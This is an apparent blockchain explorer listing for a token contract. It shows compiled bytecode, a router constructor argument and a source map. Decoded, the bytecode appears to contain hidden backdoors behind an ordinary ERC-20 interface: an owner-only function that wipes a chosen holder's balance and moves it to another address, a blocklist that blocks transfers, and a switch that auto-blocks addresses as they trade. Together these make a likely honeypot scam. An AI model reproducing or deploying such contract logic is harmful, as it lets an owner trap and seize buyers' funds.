612627612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ab90614755565b60405180910390fd5b80601860016101000a81548160ff02191690831515021790555050565b60095481565b6126df612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461276c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276390614755565b60405180910390fd5b612774611a94565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890614bc3565b60405180910390fd5b670de0b6b3a7640000816127f59190614be3565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411612995576000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461292b9190614870565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b1c565b670de0b6b3a7640000816129a99190614be3565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129f39190614c25565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a764000081612a4a9190614be3565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab69190614870565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8e90614ccb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bfd90614d5d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612ce49190614577565b60405180910390a3505050565b6000612cfd84846121d9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612d775781811015612d69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d6090614dc9565b60405180910390fd5b612d768484848403612b28565b5b50505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612de490614e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5390614eed565b60405180910390fd5b60008203612e7757612e70848460006131e8565b90506131e1565b601860019054906101000a900460ff16156131c757600d60009054906101000a900460ff1615612eb357612eac8484846131e8565b90506131e1565b6000612ebe30611980565b90506000600c548210159050808015612ee45750600d60009054906101000a900460ff16155b8015612f3d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015612f555750600d60019054906101000a900460ff165b15612f7f57600d60029054906101000a900460ff1615612f7557600c5491505b612f7e82613376565b5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fca9190614c25565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130b05750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6130c4576130bf8787876133be565b6130c6565b845b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131139190614870565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516131b39190614577565b60405180910390a3600193505050506131e1565b6131d18483613684565b6131dc848484613941565b600190505b9392505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132359190614c25565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132c39190614870565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133639190614577565b60405180910390a3600190509392505050565b61337f81613f4b565b600047905060008111156133ba576133b9600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826141c4565b5b5050565b60008060009050600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156134695750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561348c576009546008548461347f9190614be3565b6134899190614f3c565b90505b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561350057600954600654846134ef9190614be3565b6134f99190614f3c565b9050613571565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561357057600954600754846135639190614be3565b61356d9190614f3c565b90505b5b600081111561366e5780600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135c59190614870565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136659190614577565b60405180910390a35b808361367a9190614c25565b9150509392505050565b61368c611a94565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156137115750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156137675750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561393d57601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156137c357600080fd5b6000601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561385857601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561385757600080fd5b5b600060165411156138735760165481111561387257600080fd5b5b601560009054906101000a900460ff16156138c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138ba90614fb9565b60405180910390fd5b6000601754111561391d57601754600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561391c57600080fd5b5b601860009054906101000a900460ff161561393c5761393b8261420f565b5b5b5050565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156139c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139ba90615025565b60405180910390fd5b6139cb611a94565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613a505750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613a8857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15613dc457600d60009054906101000a900460ff1615613ab357613aad8383836131e8565b50613d5a565b6000613abe30611980565b90506000600c548210159050808015613ae45750600d60009054906101000a900460ff16155b8015613b3d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015613b555750600d60019054906101000a900460ff165b15613b7f57600d60029054906101000a900460ff1615613b7557600c5491505b613b7e82613376565b5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bca9190614c25565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613cb05750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613cc457613cbf8686866133be565b613cc6565b835b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d139190614870565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613db79190614577565b60405180910390a3613f46565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613e0f9190614c25565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613e9d9190614870565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613f3d9190614577565b60405180910390a35b505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115613f8357613f82615045565b5b604051908082528060200260200182016040528015613fb15781602001602082028036833780820191505090505b5090503081600081518110613fc957613fc8615074565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015614070573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061409491906148b9565b816001815181106140a8576140a7615074565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061410f30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612b28565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161417395949392919061519c565b600060405180830381600087803b15801561418d57600080fd5b505af11580156141a1573d6000803e3d6000fd5b50505050506000600d60006101000a81548160ff02191690831515021790555050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561420a573d6000803e3d6000fd5b505050565b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061429a8261426f565b9050919050565b6142aa8161428f565b81146142b557600080fd5b50565b6000813590506142c7816142a1565b92915050565b6000602082840312156142e3576142e261426a565b5b60006142f1848285016142b8565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015614334578082015181840152602081019050614319565b60008484015250505050565b6000601f19601f8301169050919050565b600061435c826142fa565b6143668185614305565b9350614376818560208601614316565b61437f81614340565b840191505092915050565b600060208201905081810360008301526143a48184614351565b905092915050565b6000819050919050565b6143bf816143ac565b81146143ca57600080fd5b50565b6000813590506143dc816143b6565b92915050565b600080604083850312156143f9576143f861426a565b5b6000614407858286016142b8565b9250506020614418858286016143cd565b9150509250929050565b60008115159050919050565b61443781614422565b82525050565b6000602082019050614452600083018461442e565b92915050565b61446181614422565b811461446c57600080fd5b50565b60008135905061447e81614458565b92915050565b6000806040838503121561449b5761449a61426a565b5b60006144a9858286016142b8565b92505060206144ba8582860161446f565b9150509250929050565b6144cd8161428f565b82525050565b60006020820190506144e860008301846144c4565b92915050565b6000819050919050565b600061451361450e6145098461426f565b6144ee565b61426f565b9050919050565b6000614525826144f8565b9050919050565b60006145378261451a565b9050919050565b6145478161452c565b82525050565b6000602082019050614562600083018461453e565b92915050565b614571816143ac565b82525050565b600060208201905061458c6000830184614568565b92915050565b6000806000606084860312156145ab576145aa61426a565b5b60006145b9868287016142b8565b93505060206145ca868287016142b8565b92505060406145db868287016143cd565b9150509250925092565b6000602082840312156145fb576145fa61426a565b5b60006146098482850161446f565b91505092915050565b600060ff82169050919050565b61462881614612565b82525050565b6000602082019050614643600083018461461f565b92915050565b6000806000606084860312156146625761466161426a565b5b6000614670868287016143cd565b9350506020614681868287016143cd565b9250506040614692868287016143cd565b9150509250925092565b6000602082840312156146b2576146b161426a565b5b60006146c0848285016143cd565b91505092915050565b600080604083850312156146e0576146df61426a565b5b60006146ee858286016142b8565b92505060206146ff858286016142b8565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061473f602083614305565b915061474a82614709565b602082019050919050565b6000602082019050818103600083015261476e81614732565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806147bc57607f821691505b6020821081036147cf576147ce614775565b5b50919050565b7f416c726561647920616464656421000000000000000000000000000000000000600082015250565b600061480b600e83614305565b9150614816826147d5565b602082019050919050565b6000602082019050818103600083015261483a816147fe565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061487b826143ac565b9150614886836143ac565b925082820190508082111561489e5761489d614841565b5b92915050565b6000815190506148b3816142a1565b92915050565b6000602082840312156148cf576148ce61426a565b5b60006148dd848285016148a4565b91505092915050565b60006040820190506148fb60008301856144c4565b61490860208301846144c4565b9392505050565b7f496e636f72726563742074617800000000000000000000000000000000000000600082015250565b6000614945600d83614305565b91506149508261490f565b602082019050919050565b6000602082019050818103600083015261497481614938565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006149d7602583614305565b91506149e28261497b565b604082019050919050565b60006020820190508181036000830152614a06816149ca565b9050919050565b7f4368616e67652076616c75652100000000000000000000000000000000000000600082015250565b6000614a43600d83614305565b9150614a4e82614a0d565b602082019050919050565b60006020820190508181036000830152614a7281614a36565b9050919050565b7f54686973206164647265737320616c7265616479207365740000000000000000600082015250565b6000614aaf601883614305565b9150614aba82614a79565b602082019050919050565b60006020820190508181036000830152614ade81614aa2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614b41602683614305565b9150614b4c82614ae5565b604082019050919050565b60006020820190508181036000830152614b7081614b34565b9050919050565b7f544152474554204552524f520000000000000000000000000000000000000000600082015250565b6000614bad600c83614305565b9150614bb882614b77565b602082019050919050565b60006020820190508181036000830152614bdc81614ba0565b9050919050565b6000614bee826143ac565b9150614bf9836143ac565b9250828202614c07816143ac565b91508282048414831517614c1e57614c1d614841565b5b5092915050565b6000614c30826143ac565b9150614c3b836143ac565b9250828203905081811115614c5357614c52614841565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614cb5602483614305565b9150614cc082614c59565b604082019050919050565b60006020820190508181036000830152614ce481614ca8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614d47602283614305565b9150614d5282614ceb565b604082019050919050565b60006020820190508181036000830152614d7681614d3a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000614db3601d83614305565b9150614dbe82614d7d565b602082019050919050565b60006020820190508181036000830152614de281614da6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614e45602583614305565b9150614e5082614de9565b604082019050919050565b60006020820190508181036000830152614e7481614e38565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614ed7602383614305565b9150614ee282614e7b565b604082019050919050565b60006020820190508181036000830152614f0681614eca565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614f47826143ac565b9150614f52836143ac565b925082614f6257614f61614f0d565b5b828204905092915050565b7f4572726f72000000000000000000000000000000000000000000000000000000600082015250565b6000614fa3600583614305565b9150614fae82614f6d565b602082019050919050565b60006020820190508181036000830152614fd281614f96565b9050919050565b7f56616c756520657863656564732062616c616e63650000000000000000000000600082015250565b600061500f601583614305565b915061501a82614fd9565b602082019050919050565b6000602082019050818103600083015261503e81615002565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006150c86150c36150be846150a3565b6144ee565b6143ac565b9050919050565b6150d8816150ad565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6151138161428f565b82525050565b6000615125838361510a565b60208301905092915050565b6000602082019050919050565b6000615149826150de565b61515381856150e9565b935061515e836150fa565b8060005b8381101561518f5781516151768882615119565b975061518183615131565b925050600181019050615162565b5085935050505092915050565b600060a0820190506151b16000830188614568565b6151be60208301876150cf565b81810360408301526151d0818661513e565b90506151df60608301856144c4565b6151ec6080830184614568565b969550505050505056fea2646970667358221220019c1b28eac296caeaf741acef9b58a3305387d15aa8e64733b8ae11691e9cf764736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : _router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
10888:20556:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14589:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12719:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16332:226;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31354:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15165:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11827:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24862:206;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13839:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31272:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11661:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17138:295;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26843:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;31297:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13681:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11276:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17842:263;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11773:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11194:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11714:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25983:637;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14878:89;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;30809:276;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14161:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14261:96;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11624:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14010:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11346:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31326:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14975:88;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;651:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12938:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14691:88;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18608:498;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15555:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15071:86;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;26628:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;31413:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27161:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11875:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11235:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14491:90;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14365:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15836:176;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29052:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;27023:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11521:66;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;865:281;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;30588:81;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11311:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27738:486;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14589:94;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14670:5:::1;14654:4;:13;14659:7;14654:13;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;14589:94:::0;:::o;12719:100::-;12773:13;12806:5;12799:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12719:100;:::o;16332:226::-;16440:4;16457:13;16473:12;:10;:12::i;:::-;16457:28;;16496:32;16505:5;16512:7;16521:6;16496:8;:32::i;:::-;16546:4;16539:11;;;16332:226;;;;:::o;31354:20::-;;;;;;;;;;;;;:::o;15165:184::-;15269:13;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15313:4:::1;15295:15;;:22;;;;;;;;;;;;;;;;;;15336:5;15328:13;;15165:184:::0;;;;:::o;11827:41::-;;;;;;;;;;;;;:::o;24862:206::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;24992:4:::1;24961:35;;:17;:27;24979:8;24961:27;;;;;;;;;;;;;;;;;;;;;;;;;:35;;::::0;24953:62:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;25056:4;25026:17;:27;25044:8;25026:27;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;24862:206:::0;;:::o;13839:108::-;13900:7;13927:12;;13920:19;;13839:108;:::o;31272:18::-;;;;;;;;;;;;;:::o;11661:44::-;;;;;;;;;;;;;:::o;17138:295::-;17269:4;17286:15;17304:12;:10;:12::i;:::-;17286:30;;17327:38;17343:4;17349:7;17358:6;17327:15;:38::i;:::-;17376:27;17386:4;17392:2;17396:6;17376:9;:27::i;:::-;;17421:4;17414:11;;;17138:295;;;;;:::o;26843:172::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;26959:4:::1;26930:33;;:25;;;;;;;;;;;:33;;::::0;26922:42:::1;;;::::0;::::1;;27003:4;26975:25;;:32;;;;;;;;;;;;;;;;;;26843:172:::0;:::o;31297:22::-;;;;:::o;13681:93::-;13739:5;13764:2;13757:9;;13681:93;:::o;11276:28::-;;;;:::o;17842:263::-;17955:4;17972:13;17988:12;:10;:12::i;:::-;17972:28;;18011:64;18020:5;18027:7;18064:10;18036:25;18046:5;18053:7;18036:9;:25::i;:::-;:38;;;;:::i;:::-;18011:8;:64::i;:::-;18093:4;18086:11;;;17842:263;;;;:::o;11773:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;11194:27::-;;;;:::o;11714:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;25983:637::-;26056:15;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;26084:35:::1;26141:9;26084:67;;26191:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;26173:53;;;26235:4;26242:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;26173:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;